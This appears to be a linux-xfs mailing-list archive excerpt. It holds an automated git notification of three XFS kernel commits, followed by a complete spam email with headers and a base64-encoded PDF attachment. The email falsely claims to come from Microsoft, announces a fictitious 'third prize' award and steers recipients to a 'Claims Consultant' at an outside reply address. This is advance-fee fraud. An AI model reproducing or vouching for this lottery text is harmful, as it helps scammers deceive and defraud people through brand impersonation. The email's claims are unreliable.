(CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 0f295a2 xfs: check magic numbers in dir3 leaf verifier first a30b036 xfs: fix some minor sparse warnings e9fbbad xfs: fix endian warning in xlog_recover_get_buf_lsn() from 1d03c6fa88af35e55047a1f2ab116f0fdf2f55aa (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 0f295a214bb7658ca37bd61a8a1f0cd4a9d86c1f Author: Dave Chinner Date: Tue Sep 3 10:06:58 2013 +1000 xfs: check magic numbers in dir3 leaf verifier first Calling xfs_dir3_leaf_hdr_from_disk() in a verifier before validating the magic numbers in the buffer results in ASSERT failures due to mismatching magic numbers when a corruption occurs. Seeing as the verifier is supposed to catch the corruption and pass it back to the caller, having the verifier assert fail on error defeats the purpose of detecting the errors in the first place. Check the magic numbers direct from the buffer before decoding the header. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit a30b0367978f75a2659c71b33739e5e445a363c8 Author: Dave Chinner Date: Mon Sep 2 20:49:36 2013 +1000 xfs: fix some minor sparse warnings A couple of simple locking annotations and 0 vs NULL warnings. Nothing that changes any code behaviour, just removes build noise. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit e9fbbad8d8b2cbd6df7f237e0b4de02d63837ce1 Author: Dave Chinner Date: Mon Sep 2 13:22:58 2013 +1000 xfs: fix endian warning in xlog_recover_get_buf_lsn() sparse reports: fs/xfs/xfs_log_recover.c:2017:24: sparse: cast to restricted __be64 Because I used the wrong structure for the on-disk superblock cast in 50d5c8d ("xfs: check LSN ordering for v5 superblocks during recovery"). Fix it. Reported-by: kbuild test robot Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_bmap.c | 2 +- fs/xfs/xfs_dir2_leaf.c | 20 +++++++++++++------- fs/xfs/xfs_dquot_item.c | 3 ++- fs/xfs/xfs_extent_busy.c | 3 ++- fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_itable.c | 5 +++-- fs/xfs/xfs_log.c | 3 ++- fs/xfs/xfs_log_recover.c | 2 +- 8 files changed, 25 insertions(+), 15 deletions(-) hooks/post-receive -- XFS development tree From awards@microsoft.co.uk Mon Sep 9 18:56:52 2013 Return-Path: X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B43A27F4E for ; Mon, 9 Sep 2013 18:56:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 94366304059 for ; Mon, 9 Sep 2013 16:56:52 -0700 (PDT) X-ASG-Debug-ID: 1378771008-04cb6c153de78d20001-w1Z2WR Received: from hydra.ccom.ipb.pt (hydra.ccom.ipb.pt [193.136.195.240]) by cuda.sgi.com with ESMTP id e62Xp8nzGfuyev3s for ; Mon, 09 Sep 2013 16:56:48 -0700 (PDT) X-Barracuda-Envelope-From: awards@microsoft.co.uk X-Barracuda-Apparent-Source-IP: 193.136.195.240 Received: by hydra.ccom.ipb.pt (Postfix, from userid 33) id 61E0C12A24C; Tue, 10 Sep 2013 00:30:46 +0100 (WEST) Received: from 199-255-212-199.anchorfree.com (199-255-212-199.anchorfree.com [199.255.212.199]) by webmail.alunos.ipb.pt (Horde Framework) with HTTP; Tue, 10 Sep 2013 00:30:46 +0100 Date: Tue, 10 Sep 2013 00:30:46 +0100 Message-ID: <20130910003046.Horde.Yx7Vif5WNIiSygnURtwGAw7@webmail.alunos.ipb.pt> From: Microsoft =?utf-8?b?77u/Q29ycG9yYXRpb27CqQ==?= To: Subject: Microsoft Official Publication. Reply-To: mr.ingram-michael@qq.com X-ASG-Orig-Subj: Microsoft Official Publication. User-Agent: Internet Messaging Program (IMP) H5 (6.0.3) Content-Type: multipart/mixed; boundary="=_cKqQjMieWo0f_EB1fcOcnQ2" MIME-Version: 1.0 X-Barracuda-Connect: hydra.ccom.ipb.pt[193.136.195.240] X-Barracuda-Start-Time: 1378771008 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 This message is in MIME format. --=_cKqQjMieWo0f_EB1fcOcnQ2 Content-Type: text/plain; charset=UTF-8; format=flowed; DelSp=Yes Content-Disposition: inline Content-Transfer-Encoding: quoted-printable A copy of Our OFFICIAL NOTIFICATION LETTER is Attached for yourImmediate Perusal and to Congratulate you on emerging the third (3rd) prize winner in our Microsoft product Award for September 2013 .You are advised to contact the Claims Consultant (Mr Ingram Michael) immediately for claims procedures. Congratulations from the Staffs & Members of Microsoft Board Commission. Derrick McCourt. Regional Director, Microsoft Incorporation. =C2=A92013 Microsoft Corporation=C2=AE --=_cKqQjMieWo0f_EB1fcOcnQ2 Content-Type: application/pdf; name="Microsoft Official Notification Letter.pdf" Content-Disposition: attachment; size=231424; filename="Microsoft Official Notification Letter.pdf" Content-Transfer-Encoding: base64 JVBERi0xLjQNJeLjz9MNCjEzIDAgb2JqDTw8L0xpbmVhcml6ZWQgMS9MIDIzMTQyNC9PIDE1L0Ug MjIwMjYxL04gNC9UIDIzMTExNS9IIFsgNTMzIDI3Ml0+Pg1lbmRvYmoNICAgICAgICAgICAgICAg DQo0MSAwIG9iag08PC9EZWNvZGVQYXJtczw8L0NvbHVtbnMgNS9QcmVkaWN0b3IgMTI+Pi9GaWx0 ZXIvRmxhdGVEZWNvZGUvSURbPDI5OTY4NEM5MDI1NDAxMUY3NTIzMEY1REFDRTFCMzM1Pjw2OThB RDdDMzgyOUQ2QzQ2OTg5RTM0QTRFMjc2ODI5Mj5dL0luZGV4WzEzIDQwXS9JbmZvIDEyIDAgUi9M ZW5ndGggMTI5L1ByZXYgMjMxMTE2L1Jvb3QgMTQgMCBSL1NpemUgNTMvVHlwZS9YUmVmL1dbMSAz IDFdPj5zdHJlYW0NCmjeYmJkYBBgYGJgYBYFkQy5IJLxIVjEAUR6c4LZzSBS4jtYNh0sMgNEMv0G k2xg0gZMuoFJKzD5CUQq/QCRiidBpM5bsAmNIJJ1G5itCiQZJcAijMpg9bYgUtkeRErfBMlOjQGS //4bMjABXTsH7E4GRpLJ/wxMrN8BAgwAuwwUaQ0KZW5kc3RyZWFtDWVuZG9iag1zdGFydHhyZWYN CjANCiUlRU9GDQogICAgICAgDQo1MiAwIG9iag08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvSSAyMjEv TGVuZ3RoIDE5MC9TIDEzNz4+c3RyZWFtDQpo3mJgYGACoiYGVgYGto0MQgwIIAQUY2VgYeA4wMBw paPBbQHvGgaGnmQBJCUuFida52pnP9YtPqR4zEXnZXS8ZPY8Qb6StesniRkdjvnAwMBe3gEEDQwu HWDAwMDRAREILQfLwA1GAlJQzMDQyCDIYMCw/mQgg4LC7g3MM1j0GKsYDjXkHbBYID2Bu6P1jsME 7RwGBkZfB5HGAgZWgbYPzjXSEZ5vr61wgJrFycDc+hNIMwLxZYAAAwDcgDwuDQplbmRzdHJlYW0N ZW5kb2JqDTE0IDAgb2JqDTw8L0xhbmcoZW4tVVMpL01ldGFkYXRhIDcgMCBSL09wZW5BY3Rpb25b MTUgMCBSL1hZWiBudWxsIG51bGwgMF0vUGFnZXMgMTEgMCBSL1R5cGUvQ2F0YWxvZz4+DWVuZG9i ag0xNSAwIG9iag08PC9Db250ZW50c1syMSAwIFIgMjIgMCBSIDIzIDAgUiAyNCAwIFIgMjUgMCBS IDI2IDAgUiAyNyAwIFIgMzEgMCBSXS9Dcm9wQm94WzAgMCA2MTIgNzkyXS9Hcm91cDw8L0NTL0Rl dmljZVJHQi9JIHRydWUvUy9UcmFuc3BhcmVuY3k+Pi9NZWRpYUJveFswIDAgNjEyIDc5Ml0vUGFy ZW50IDExIDAgUi9SZXNvdXJjZXMgNDIgMCBSL1JvdGF0ZSAwL1R5cGUvUGFnZT4+DWVuZG9iag0x NiAwIG9iag08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvRmlyc3QgNzIvTGVuZ3RoIDczNi9OIDEwL1R5 cGUvT2JqU3RtPj5zdHJlYW0NCmjepFVra9swFP0r9/sIlnSlKwnGoEmXrTDWsnYPKP3gpiL1ltTF caH99ztS0i3eTGBdQEjWfZ5zjx1rSJFl0jaStaQjk3XEoskKBWPJeooRWyCtQyC4aXaWnMohipwm LWLo9etq3t71OZWiT9VZ1y7OU39ZnR3Pq4v02Fcn63qZZtvtZLtNr6pvp9ff06JH9MlaC+qWaJw9 sX8+B+LwfEaXane2ZJ6vHZm4OyJJcXiDX25KZzzZNDcZSzlxhlFONgMo3vA92iwSIEQt1ay+f5+a 5W1+MtVx2lomRsdqvqqXG7IF7nTaPl5ONHiASUgbMIWAq2KcN6tkSO9q4uJjvU7V9Cj/Xr1Lbbds 6sm0Xd1UJ329ahZHd8tVIlWd92n9hYKqLp7uUwnM9bvmvm+70ue03qR8PZpr3nSbfnZbd8g0jM3z za18qHcOQVfnD9d9rnLRPaRS7qL9fNcs2ptEekvuryaqr81Nf7u51Eph9sowsWNyrMkZRcIOVBpi CIijJwOb147EeXIRe4gUrUbNSM5DNNoIOQjHw1kEAlTwZkzUu0CCSYkX8grZYySBc2BGNIJwn/2y nQFJPOwBO+YsWcWo5KDQgKQe1YPyJY9AwjZr2wcUlvIsEFOu5Q3sBQnsEL7FEnRZ9gB1SUSjsaBw gB81l50FsQARGHXh74IvfTrk9jlfRouV/aJkPAwsEK6EzMbVvuw0iN3TnVaBfwuP1bjwOJsgPAlS IgbKi0PlzbZqOeqaejWZrurFjxcLbyTVId3JUHfaHdKdUeO68/jkZG4FPDLm4L0vqzxnbWB5Y7Zr d7+3BlxjloNXXPZecUxhhGmIbMLQN0g2OWCfaDZDoo+37Jzep7vzp/V1u3oxz39nOkRz+IPmQywz j7PM4gDPDZWpNA+Uaff5MmaML61AmIn41+D8tiNkwJgdMvZ2i3NWr6+7//0ojuU6wJpT/8KaG2dN 8M0yRoG1nwIMAJizBpENCmVuZHN0cmVhbQ1lbmRvYmoNMTcgMCBvYmoNPDwvRmlsdGVyL0ZsYXRl RGVjb2RlL0xlbmd0aCAxOTEyMy9MZW5ndGgxIDI3MjcyPj5zdHJlYW0NCnic1Lx3fFvV+T9+zl3a 0tXe82pYw5KsYVu2Y914bzvTdhwlTpxNEjt7gjMIIQkhkBRiIIUQh0BLmzqshlEaWspoyyjQQSlt gdCWfnDLp6XQQiT/zr2SnRDg8/l9X6/vP1/LunruuUPnPuc5z/N+xtHG9ZuWAinYBXDADqxZNLSh rdwBAPg5AFA1sHmj48TMxSpE/xG9/7RsaPmaDz/0nQEAfwEAMrJ89bZl90xUJAAQ/huAmbevWLpo ie/SxxoA+m5B9yhdgRqO5roFaB+dD9wr1mzc+nPTnTvQ/ofofk2rBwcW9cz/bBYAGXQPcGbNoq1D 72ODGNr/Hdp3rF20Zum737jQjPYvASCCQ4MbNm4HnRMALAfc8aH1S4ckT29Zg/ZRn/FlqA2iF/cn RSTF7WM4QVICoUgskcrkClqpUmu0Or3BaDJbrDa7w+li3B6vr8gfCIaKw5FoSSyeSJaWlacqKqum VafZ6TW1dfUNjU3NLa1t7R2dXTPA/2N/lJTbkoeADwDiM+CYbCeSHI3/EVi5vYk3+e0fJ7e5Ov6q zxB1/uvvPfEVf1cfQ7IB8u//7e+r7pb/gzu//tj/cNUtcC8cgI2wF2yFa2AvbIEhyIIM3MbvdYK1 YA8SkBwSpkWgD4rAvWAN6AdtUAVeR/NhHtwEB1G3XkVzoQO9bgdbQAOoQS1t2AOFJ30ENIJj4DT4 AGKwEmqhFu03gif49kbYDufC3fAQPAquQ+f8G7CgGXSDJfwV3wM/A2/DBrgR3og9DUzgE9QG4JvQ hPpxHdCAIXwm/uOJtzE39ib4DNuJrsyC/wIvwRLwGFgMovgeSICPwCv4AHgDvIENA8CmystKk4l4 rCQaCReHggF/kc/rcTMup8Nus1rMJqNBr9Nq1ColrZDLpBKxSCigSALHIAjBMUNtzzmjIGh2Op29 xYV90xf3x3AP/Q/nGFB94STzVRdZrtq3XrVvm9rvGAOasQamto678TnQ8KcxoB6DmjHAfQtUt6Nv KlxUv2QVU79yzFi7pL8fXVHH0I6xho8iha7w9z4nEdcytUvFxSFwTixBpARR6Nyhc7ChGvIE1lBf cQ4DQllxaEwVHMM89dx71Rh7qB8RTB26Ezqivnzk/MSFm648BNBlk5Q6T8ExqnZMwH+vY+UYu2gM HHKcC104eNN5GizuD0qXMEsWzUecW4T6eA7gnvoVszk+1nPv/hWOMQLdnN+YUYujfoXjIMOxo35F P9oydeiqr2xHzaLanv3OC+YxFfqsH1MGxxrRGY3bL5rxg/WGlQ5u9+DB/Y6xkzN6rjzq5La9vb0G 1OGD9Qy6IbpZ/aoa9CiGSHEo/0wFBizpX8V956pFXD/rVzkOHlrK9/Umvg/8qfUr0MAs+t/OOniw fglTv2TRkpr83WvH2Nn8B5g9r4d/QMS6ut5CU+EEdITgj/TX9TrzzG6d2VPLdYxZVGfOD/tUS3+h BTXUTx50cD1oRjcYcww4xsDMHgadWs5tlpaDgwPlvPA4eyG6quvyVWOkh2YcB/8FxmA/M/7hF1sW FVooD/0vwJENTEP/wYMNjKPhYP/BRecndi1mHDRz8Fxr68Gh+n70rV096KrzE08cMo813NQ7Rvev gBWI95wENMzsSZudyt7J3a7JXYBECgmWhH8cxAX031z4QFwGs3ucDsSoOT29ZsSnHo6ejej8JydI SHDL0RgX2MbxaGn5FHtqC6TTyUnnofMsWIx2xnbN6MnvO8Bi80OAjQTRePRzRy5MHtHO4Y7smjwy dXk/g77lEd7uaseE3ql/Ba1T16+oGIO6/+Hw0vzxMXVtD27GevMUZsY5ShxEM71qTB9EdFHwIBqE V5kxOjhG9lwwV/U6aCXSANzozWJaZ8zrcdQfnJKCfEvhSTk5QKLOLFpxsDCVkNADgHE9EgAEEnD0 ofk+hRGAe0deevslflMSdSqdSg/aQHTWZ7tI8Dn3CRDB4QwGXf0esqtV4B52Rbm4UdQsXy7aIiL9 SPMG9ojEGpFI7Ee4omi3QqJRKCQSMdohFfCkaDh8L7i39LHqzuqhakz/umKP73XD6/ZHp4kVkogE k7AiWZkEoR2RRFHsJw0R72gRrquCGGEcNYDIuD6VzsZU+lQmEszEIf3JxYvZi5n8B2rdHw4Kr6Wf 3S8PG3iiJAozfpishmXVMKmETBj6oFKj09ugXuucbE54fag96RRB1ODUyqFADrWFswTvXZpwDag8 jpzhOlGjLneH02PcbcrebVznLrI4HEWzg9hhuAD6FBaIbXI0OHxGo0/TZ+zA5UJFoohwf+50PluJ v3Lp3p27bVov3tGBa02WfTuwH7JzjHYV3nGpG/tPYKOqA5OKZeWuS2p3iUpE4wADTjREDyH0YgQe UMv6mLutVqVihH5NSRuxEej4pskETqv30WfhaR8rlpYBIRQKfV6lKhXJBDlmxCPjIJKNpT8eVyKy JHqZC4XH9egLj4hrKMblTSZK4zEd9lD2RlNM5TA5DKpmG/yrwmbRRE1HN3XN2LRpxoyNzRglkBZ7 sAYmSUt1eLNJcelPTIlUJMdJSds117S1rV7NyUbjxB+JaXgWFIMu1l4hTNkwlco8IqWHfNDnc98G dEVFBi0rkpZpr1eg2crSIrpMoYh0RhZGMOde6skw/fF4BnU7OB5MxSMgPR6PZLhNSTRDurjeo86i R0H91U72vSwMGRfFDZxGF4+Vlun5UcQ2HfplfX3drMbmN/ee/1VbpnWpA5e43MUtDrvn/o2De+Ot 9rlV6T2OGQ2NP1q/4qnG5u5Dm5t6mipK+o0qdSAZe2DzQ78d6EtMW+rzB9BzhRButOGfoudawrpx v8aPdeIL8UF8GCdwXHSb1KcN0syI+zUPrdaNaKnrAfdwJomsDIAIiEQi6QiuOeuT7XO/oT0NLNAS yaCRil3MP2phtNKqVIp7XvSscOrh0MN8ndR69No4zwrCtqC9eamYCC/z6Uy6AV12wBhXOQwug6rM Cd9WEPV3zc6sw/1tG1qaGJ8Sq4pl32LCMokCNjdjAkoSRqPqTimlNDeqt3b1bUAyyI3jK2gc9aj7 ftboHNHSxSMinXkv/lRJtKSzpL8E9+1VPBmlPxlHU3AcDVQaSRq0oUHghoL54ljhqNd8p6cGCj0Q GiuirKWjvaXzrcPbX+ps62lvb3nzhpt++QgaWo1hzvTGOXotLTfr59ZUzcVX1V8YGvxJQ2tXQ0Pt T7ZvfbK5ob09S5afXNXwSCLd1FGdumPWmiNN1U21aKxqJ36Pv4l/DhJglN1KWsVxndUYTxmj0YZI Q3RuZG50eWRZdFPxPvUtkW9ER633RR6Mj1mfimuftDwUw+yeYc8RD+7xuGn/iCVExwhgpwFFU11U PzVE7aLQHykbATrmjNvtPeMJ3WChb4h5LFTsqdL+UkicIUnBGerJJJJjNPky9J+UqRQ9HkEvblqm xyOcQCN1NZ5GRKYg1gIGj6MR5nmSZ1T+Pz8z9WVxNcPzLs84rYbARIsej9s6ZM2KhuLItvq+3iLG l6mrW5QoLh2/0HdHQttGNzLfXtzes3vjw2dyE66Uow5uKl5XXFzd2FKUUGssGo0/5FvbdvisR1eZ e3DFcTbVVmcL37Pj9CPcLOZMw4eUDEn9Ijbd5m0rwoYpSLFiWRlFiY4HAC1z3u5W6E0jRrvcHnaA iDwSHgLDLoFLDuTAcJaWuel9LuNp4IROJOnxccSDi/E4mgcZXtbRPjepgwVRLwiMHFqhU+v8krgz yfiUIH1Iq7SJROe8eFEManJ/c1sNHfZsxlSiduh/9rPq6emXD+28kRwwVmmNprW7lDf/tXN1ttMX FAsVePOkBnti9TUvdnb0L+AM88T7uIuUICnvZKMEK1KUSSS0THC7WKHXa27DdQoF6EKO0bARN3IP D4wRIxTK6H1ioeBxA/1JLJaNRdAUDmYinK5CO9yTccoq6OEfie87MqX5p+KUE+5ij648cfyR87Ae GnJ/nT7b3K8OW4pHDmPLVsNI7hers7/btFhI8pr0t+Td5DlQBFaxrVrCKPQ667F6olPYLp5r6DWv EG3Bt4mGDFucchUrp8vsKqhSKXHdUSnhctlvBWrXqWEGMvQpJaNUn1KdD3QGoPFa6vt+TsGiGYtG YzySGec1bJoXxiAvjG6fF0smVGWl7islD1NOTtmCesWLT+Q+WjqwfsOKZdA2uvlHtdXdop7W144/ 9WxtacXd/Te9NW9ucG1T5w+9S/sXQO2Z+6Bx+dLBlLss+9n473OP5n75rb83tzWO3JnoORQrq0b6 RpKrIy6hOVsEKkEfW9XkZot63V1FK907yO2lAtuI/TUHjWZJ5DYvnTqO6+TKEdrs3wuemhaZdmQa pjjrjAv32c/SZ/WPV/GIIIZ0K3pSblA41YQ0K1KwvLQBTtSYLwlZfspxOlXPSZqKnNJXysmZSVzK /ek3/Vt9QrvFPODMho1tSOpwo1lT44B/Vghr7u185aPcHTqLuZed3mGlXEoj6x3YAv/8eu41nyX3 ZyYhlaiwlhZMQkmSLnzCGVPLlEjlygax2pbcW/9sPVBayha7sy9q0mqz6ZcIBIDOiXeIc0gL14EZ 4GZ2iUJOlNvkypQnNS+6qmR113bttpIdXZL64yFjlbHNON+42rjTSBmNSdn3QjDEItMaCjlGknTt 7biu4zaZLsI1Md7rI5FKulpQb9xXDd6ofGLWkVlwFmeSW6+nn5yJRCPIgao4YmGEwxTjqSCv3fMT lkcZHCPzAu5jeGko2CqelWWXNf0V1mDKFPD6CytYAJgHXPmpQZwLba3dsVFLudLuSHfHxtNup60z Mu9ShVAmryoJVapwi0qpT1XOntvLpk83LDo1vbpZZLYom205RflaxhNoTJQ1mrVqR3OdK6rUaQ+s m97HOAIqZ6Ol3zjT4ggZZZqZXmVcodHNmF7ea7U59W5m3zXrcj8tKU7IhDi8oC4xW7orOxqKnXmL Ty5GElkNlrMNeFKZdCdx/0jgtSBdbJbelqCN1QiYWkbMGMc67D7hvurT5U+wR9h72FdYnM2rCwTY jPeF1Pv8b1hOux5P5yXzYoZncPZiMI9pkXDmZfNKnJY3lP+L6S8AocJJ5OLsGXWpXKtqbS6qd1oZ qUZPR/XZkzwWcJgKWMDS5fJsrRsd1dnoiI1TiZKAH76xbLlBrwnQ2T8zEQ7SXcYF9ip1ARcYG3QG 1+N35HSekEwgxwEBZuT+LEiRLwFOf9aDDmhj5yZN08yx8oXmhdPmV2/DNrNCu8yupNW0PiKLKBk1 o18tW60cUA/oh2XDyiH1kJ62zDYuQVx6KF2VZhtgw0OWVCiFpVJVabwYGGiDw4AbOLeO3S6Sl3mS Cq/dG/GmvYTX06qw2q0Ra9raaSWtD3lBMSw2FFODXcNdmPQDB6fcVR+wyGpjVFWy9bmoZciyy3KL 5aSFtFiS7noj7nvO2/Jc4rmkNynSPr8Zh0M4xHHF850iaBdFRGlRp2ihaFC0XSQQAWSoOVyW4dRI ZHycGzV+GqhSURjhD41nuEOZeDaDZk0GTZRIBtl4rn0/nc1cKAEZmIE0cDqAkt/iV9ACJxrRLyuk SdeER7oCXgfxUybhDUIlmi+CVPaz3NHc0exnGAXXwrUYtThXnnsMvcrhC7AFvV44l7u9f8ccl8Ii jahyNnVSYaKl3AeGn31s2wrv6hmaBrM0Js5Vr+iPRQeWY/PQ3T7HSP5uZPbz3FF0k9dyYf6mYfja 8LH7l+X+abRLkS9XUYGJKInTgO00WmXIulasGVyx0RY9vMSUFhNibFumLXfjEh5Hvkk1kQ8hCQmB GQhLwBqyXlAvqZG3KZvVzfp6YwtT7+01zLV1M72+7WAjtVG6XaV2HjVpoZYIHNUiZ1BtvhY/H3Zf q/h+MVJOPNjMjKd5JQR1KqRMBBTBfMFuEVfgzcuWi1yycseKxctzf71wV+7DlSu2b1mxHJpP3gP1 dxUXMYHgzasefcofKj64dOBmYrw/99HZu3J/Wbpy07JFCyF9/1loXjpwzYrPv9P3p1t3fNDXtzb3 rdzz+z7s6R1YAgpoeQ3S0w4QALPYspS8zj/bv8y/yU+aRgIByjeiomnHkANzOKy3UTrHGQCce41P hRShSKgz1B8iAqa90ieD9CfZGG+aI+OTjg+nf/PK9sugGj0Vwkt53QmndC6xhhlI1x7o/cavGxrq W+vrXtl10yOVqUR2/t3fWXB7MveyVKGsLG6fT/w9tdTt9c1ubHxm3bInmxt76qpSd82Z/tKvlnfC +qrriiLRE99CSHDi1xMfifzI1y8F/2CPeD0Q82ncFeJeca+0x7NSvEO82b3FJ/a4PFKJZI9E7PV4 r6Q3eaHPW7S7KCQRi4tCeygR5ZG6dtMympQQMq0kQHklDJ2iyiRJupmqo3upWfRKahm9mVovula2 jVYnWZmiLJmkZRKXT0QJooBFcAwHoDxSzpZjBk4t2NAZBoOei+pStIvLZ4SkepkxUQoI3ageR3xE 0xBNRRjhrRdiqj7FUWhaXrjAbV7dL8ySFy6gBuH4fuGFwgcXPEBzlme7gMJwRgQZcQGUozmpnbRb ep1KjeakiZ+yU8EEv73aFvbRZe/vfDF3IHf2xfsfmqaOes3TirB/1daoVUIBYTh6Dax9A26ZNeDS GHxOS68TqyQrcS1tqg6NZBfnjhP2z9+Bf8JkD5WWGFVKsqNNqBAKVQK5SdmRa8v9gBB//isIYcPG xn5Ga5OIJHgXN1oXEYo6jf8RYagx9jqcxJCtSlg69XXBhfrZwZWipaHtovUhqdlmLvYXl9yIU3ix f7/NZrb5S3CKNLtTlYBwjrgU5iE0+7SG26RmwuY215lnm3fgG22UghUjZ91REa3AKipsZgWFky4w jUWKGSAY1jltcBoOmCgzxOAM4+L8HA4ac8xHJGJ5XqYj3IggMw455qO38ALH7TyvKUzwRTjBSTlS h15siu154KCv/gLDidPFcyxzHxus3hiPLogu3CTT0rWB8mVlzkX6LefXG2dHsCWuXkrounZWdbdf jDMGY1gBv4kfF5SmHsst/fsNJ4NF7lU1lqhJZ++od+6t/wwOvhtNUs3N0KITqlUN/7n/5pcGjFZS ZRaLxVgzN+PrAaBOoXlRjGbGUXaJGA/ABJMobY6QBBz2uX0+udtKHI3H5bFjllErLi2GuGJULnfb 3WZfwl3vXuju9fWFB92rfNeEh93bfTvC8vB1Tqfbh2uHONtVPlQOgQzK7o2Tw9aT8pPaR8sm0QMv xZx1Gc8UAASnJrLKlDLPVI6bfoh49vU2xUFcaVP0UzaFOpX94+EnD5WZveoZ1qzEulDjNekCjm4j boESqH3we3WPLrZf49c3KrLd9xzrbDt26jcQPJCb4Y4phUouwiUR0iVe/AN3VCVTER33f+u2R+M9 f9nmWycTiCH+i5v3Zs/eWdCXZCMlBU7ko/ewqZSkRdgrHFLsSJD6EcNrRkDQAv9xGe0cAa/B2G0C HWY468LofeCs+YnSSOmR0ldL8dBeMXKy+egDj/a5WFHk4yuhvof0JX2cMIFkAnCS9KXwlyeP+qcc a85INObUCkHJ/XN+mvsMel6deUvQZrRnIphFYbRoZ5hymMCo09QGluzSW6197LQurVU+H0t2wtDf XodhjxE2eqardGqi2UR/9o43oZCI4UosqS83ah3vvjxjdzJZFQF5bCnIImy5GNzLDoEu2Et30b3e Lm8vVTtS91o93TgjKb2th/be1kHHjWbLYogJSkeS4PT8fZBDm/A+YdQEgYk2Yab7Zqj3pc3QzLWb 73OBBJ3AEvc1FO+reyN5uurbwm9HlnQuwZZws9TlWjIAlkAewwczFz/OixN9MbiO+1yHiOzFgkRd wcb/f6j0/wCv6r+EXAXZ7Hd0UVonba4L1lqsDolST/v12Z+oS2Va2WSbim/7FheivBzZsrS7PBvr 19/hEFlnM75t9cdHdVY6Ym/GCaE44oGvL19u1mgDiuyf3cWyPK7NA97LB5jw1AE+vOmYVgiEHTbW aw2OgZnmZp3R9dDpnMlTLOVwLwQHcjswM5wN1MDOKvE/Kl+WEOIx8AwB5LQck3MocDwCIlnEPA+a Zb68V3Q5zmr++ZFQSbeL8ZPly1YsaR7alNw+Mb3RVFUU6E7Pn8EuvwPNkIkXkH5pJu8BfiQrP2Bn F4k80gbXMgURDAUDouVCKNzNOJhgSCzfY7HYCbvEQdttDoc97Ci1JOwVjgqmztLkaGO67T2OZfYd lo2MCrJSusyOjAa02B0MoeUjlApOeYNwJAzDrERWpuHarDK6DGigRqMVH+UQChYKae242o/cHd2o Ni8gPPyNckY1E+TNajCv5guG9QKPejnNXojBc6oad05ZzUn5KDNBddw0pYYkkGq+9HnpUVywLadT +hVqwaJ12Secswz+lHrjB4dfePb3HbIij6XFltW//LMOwq4XapTQ618bLI+JHcXijg5MqTA0RKER S8DZOVv21fO2Eh1NY/AjDMvmkN6ZnTtAvEDMAUYQBAfYZSKlBgtC5DpDFmsVtdjmwy5sobBPNM+2 BFspGlRuxLaJhpXqFNGin6fHvXdJ9LQcyuW444Re5icgcYJFPsNcBkqsg8QwgRGExnoQABr0ciCl 2F7cWYwxBzURPqDNeQtIbaeQzkZeQbqwN85HwGhA+grO82WUB+LIiUlw4cC8fuJgXqKUeCGnyc3V r9pxKlFaLu+5b/nc28vK07Dun1AAS3PHsA3zewfXza9YHMDgpdw3ciXlAypmbXPrA73tJXWVVd8a eB1qc0/kHpMXqT+a+NH3Tz4dTpNGLg+0YuItEpKPIJzuBUnwILtIJBSJBUqz0KzVOe2BImFA7HBG AtWimLNN2CSrccwX9shmOpYwGxltOtAe6Avg6UBnYGFgiXajlhQVu7UEbj6xTLFZgSk41aQg4idW 4ttwDDcablLZbpKKzk+8yjol8jJtKdpIVSItQflu4pQjKBsqg9GbaMqBfDeOWXnu6VPBIBdG5dF/ kG/I5OOHhNPlzucBkgkO/edtG5xkXB4vqPOaaDLaQMLc93PvZ3Mv3P/ILcdg+r8uQvOdd1x4MLd9 +fzu9bFw4I4qnb60qrz8ux3O2M0bN14PD5//7Ff3774/MP257fe/+8I31t8Vrn8Ra914ZPvCml6n vcUWuzXrbpjvcbf5fCe6j525EUnb8onfk0kkbVwMvZGNOU8EtBVaTCsrPuERJUWYyFiE+xSY+QDy BhFf8JI0H1cfKiF8B2iFAzFu6uEzUy7P/3GE/WRbc1/nrN8dOf7n9rbO1o62v45886+vWI16s2V+ bd18q8mgtRgX1LML8NNdL63d+3pzW9eC9raXN296YUbnwsWXXqi9b/Oqb9fUtTTXTju3avBE0/Su JjRE5bkjxCYiiXTTw2yHRGgRegwJA0uwxi6iyzDL2GdZRPQbV1o2wa0OhdPr8x12MRqXr8jF+FyB Tid0Om13IbeIc+Yx7x2MbEgKpVLtCZaCFMNpIJmELkMQ0u12icwHca7FgEQIx8OKcDrcGV4YJlSK QyJOn4kiwfFUPonCOeAcyAd5jzzNueRc0J3zzKP7heEgeS39LMm74hwPQV5o4pPuNTe9eB5yDPSp nUonnmfss63Lcg/mPn0p97e+ts6lLomBtaTW+orDx7dmrot1LMLbL33uL/32ht7vwt/GvnXt73If jG1tXDynMbbZLhLFS8rvWHT40dZpJuyPuQ9zj7mqfYh7awEgvo3kIghWsGHKrrN7iYRvg51U6O36 iH5YT+j18hNWWQhrxzLYSmwbRmKBO6BSc8jE62zk8yKdLTkQMCF/EukYSGMODMN4uB3Jp5DQREkh RZ3iU2eZK4z45Ufk5Yg3SpNTJu/saJ3Etz9/tvFb3Znr3G771gF7mU1hWdbZ2gstP/8QMu2ttaOZ gWMpvPbRpi3hkvaAb35qeKNIWtxf2Th7ccP2h049klkf9MX0xnKfBD1rCvn/9/M4uYvVV4ihPhgC hGZUiztvFatDr7v3gNcFfKoMDbBAEOmKQKCjdZjuXtuw9l5W1iXDZJEMl+flBxkRfCwSTX00FSaz 